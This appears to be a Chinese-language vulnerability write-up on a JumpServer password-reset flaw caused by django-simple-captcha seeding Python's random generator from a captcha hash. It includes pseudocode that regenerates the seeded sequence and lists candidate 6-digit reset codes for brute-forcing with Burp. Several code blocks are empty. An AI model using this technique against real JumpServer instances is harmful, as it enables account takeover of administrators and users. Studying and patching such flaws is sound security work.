jumpserver random种子问题导致的密码重置漏洞
jumpserver random种子问题导致的密码重置漏洞
官方公告链接: https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp
This vulnerability is due to a third-party library exposing the random number seed to the API, potentially allowing the randomly generated verification codes to be replayed, which could lead to password resets.
The affected versions: v2.24 - v3.6.4.
If MFA is enabled not affect.
If not using local auth not affect (admin may be local if not disabled).To prevent the vulnerability from being exploited, the more details are withheld for now.
漏洞成因
影响次漏洞的原因在于 django-simple-captcha
库,问题出自文件
https://github.com/mbi/django-simple-captcha/blob/6a506d0590ef58f816d0ef60395a94a489d0ea09/captcha/views.py#L41
中的captcha_image
函数
1 | def captcha_image(request, key, scale=1): |
这个功能直接调用于
1 | urlpatterns = [ |
所以,当图片验证码存在时,请求image/[验证码hash]/
时,会将hash设置为随机数种子。
而一旦设置了一个固定的随机数种子,我们将可以得到整个随机序列
Jumpserver中的利用
前台密码重置
写本文的时候只对jumpserver v3.6.4进行了测试
看了下jumpserver的代码,在前台存在一个reset password功能,此功能会在重置密码的时候发送一个邮件,邮件中包含一个六位纯数字的验证码。
1 |
|
结合django-simple-captcha
的漏洞来看,验证码生成的内容其实是我们可“预测”的。
以下是在研究过程中研究出来的几种利用方式
固定seed之后,生成长度为n的随机序列,对密码重置接口进行6位长度移位取验证码进行验证。
伪代码
1
2
3
4
5
6random.seed("[hash key]")
# 方便演示,自定义了2000
v = random_string(2000, lower=False, upper=False)
for i in range(1500):
print(v[i: i+6])将生成的验证码使用burp爆破(除最新版以外,不判断次数)
上面方法请求稍微多了一点,经过多次测试发现, 设置random种子之后触发接口,每次验证码会出现在大概序列下标1310左右,可能往左/往右浮动一点,优化验证码生成算法
1
2
3
4
5
6random.seed("[key]")
v = random_string(2000, lower=False, upper=False)
# 可以自己设置浮动
pos = 20
for i in range(1310-pos, 1310+pos):
print(v[i: i+6])
(可以看到200次以内就可以获取到,其实可以更少)